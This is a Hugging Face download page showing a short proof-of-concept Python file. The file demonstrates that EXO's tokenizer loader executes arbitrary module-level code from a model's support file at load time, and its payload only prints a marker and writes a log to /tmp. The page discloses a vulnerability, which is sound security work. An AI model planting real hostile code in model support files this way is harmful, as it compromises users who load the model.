Download tool_declaration_ts.py from applexml/kimi-k2-poc: direct link, hf CLI and curl.
- Browser
- Download file 1.12 kB
-
https://huggingface.co/applexml/kimi-k2-poc/resolve/main/tool_declaration_ts.py
- Command line
-
hf download hf://applexml/kimi-k2-poc/tool_declaration_ts.py
-
curl -L -o tool_declaration_ts.py https://huggingface.co/applexml/kimi-k2-poc/resolve/main/tool_declaration_ts.py
1.12 kB
| """ | |
| Tool Declaration Module - Optional support file for Kimi tokenizer | |
| EXO's tokenizer loader optionally loads this file first via importlib.util.spec_from_file_location. | |
| This demonstrates how arbitrary Python can be executed at model load time. | |
| """ | |
| from pathlib import Path | |
| from datetime import datetime | |
| import json | |
| # This code executes during model load before tokenization_kimi.py | |
| print("[TOOL_DECLARATION_TS] Executed before tokenizer instantiation") | |
| # Log execution for audit trail | |
| log_file = Path("/tmp/exo_tool_declaration_log.txt") | |
| log_file.write_text( | |
| f"Tool declaration executed at {datetime.now().isoformat()}\n" | |
| f"This proves module-level code execution via importlib.util.exec_module()\n" | |
| ) | |
| class ToolDeclaration: | |
| """Stub tool declaration for compatibility""" | |
| def __init__(self): | |
| self.tools = [] | |
| def from_file(path): | |
| return ToolDeclaration() | |
| # Any code here runs at import/exec time, not just on instantiation | |
| # This is key to the RCE: EXO doesn't just load a harmless config, | |
| # it executes arbitrary Python at module initialization | |